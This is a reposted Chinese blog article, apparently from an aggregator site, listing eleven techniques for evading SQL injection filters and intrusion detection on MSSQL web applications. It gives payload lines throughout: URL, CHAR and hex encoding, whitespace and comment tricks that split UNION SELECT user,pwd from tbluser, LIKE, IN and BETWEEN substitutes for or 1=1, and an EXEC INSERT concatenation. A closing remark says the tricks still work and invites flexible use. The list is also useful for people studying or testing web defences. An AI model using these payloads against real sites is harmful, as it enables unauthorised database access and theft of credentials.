欢迎访问 生活随笔!

生活随笔

当前位置: 首页 >

网站检测之防注入绕过的十一种技巧

发布时间:2025/3/15 30 豆豆
生活随笔 收集整理的这篇文章主要介绍了 网站检测之防注入绕过的十一种技巧 小编觉得挺不错的,现在分享给大家,帮大家做个参考.

转自http://hi.baidu.com/hack69/blog/item/31c5cfd9651ae63611df9b9d.html

1、运用编码技术绕过

如URLEncode编码,ASCII编码绕过。

例如or 1=1即
%6f%72%20%31%3d%31

而Test也可以为

CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)

2、通过空格绕过
如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
or'' swords'' =‘swords'',由于mssql的松散性,我们可以把or ''swords'' 之间的空格去掉,并不影响运行。

3、运用字符串判断代替
用经典的or 1=1判断绕过,


or ''swords'' =''swords''

这个方法就是网上在讨论的。

4、通过类型转换修饰符N绕过
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,


or ''swords'' = N'' swords''

,大写的N告诉mssql server字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。

5、通过+号拆解字符串绕过
效果值得考证,但毕竟是一种方法。如

or ''swords'' =‘sw'' +'' ords'' ;EXEC(‘IN'' +'' SERT INTO ''+'' …..'' )

6、通过LIKE绕过
以前怎么就没想到呢?


or''swords'' LIKE ''sw''

显然可以很轻松的绕过“=”“>”的限制……

7、通过IN绕过
与上面的LIKE的思路差不多,


or ''swords'' IN (''swords'')


8、通过BETWEEN绕过


or ''swords'' BETWEEN ''rw'' AND ''tw''

9、通过>或者<绕过

or ''swords'' > ''sw''
or ''swords'' < ''tw''
or 1<3
……

10、运用注释语句绕过
用/**/代替空格,如:UNION /**/ Select /**/user,pwd,from tbluser
用/**/分割敏感词,如:U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser

11、用HEX绕过,一般的IDS都无法检测出来

0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)

PS:

以上相关技巧到现在都还是有效果的,部分方法在不同的网站程序中也都是通用的,大家可以灵活运用

转载于:https://www.cnblogs.com/zthua/archive/2013/01/09/2853289.html

总结

以上是生活随笔为你收集整理的网站检测之防注入绕过的十一种技巧的全部内容,希望文章能够帮你解决所遇到的问题。

如果觉得生活随笔网站内容还不错,欢迎将生活随笔推荐给好友。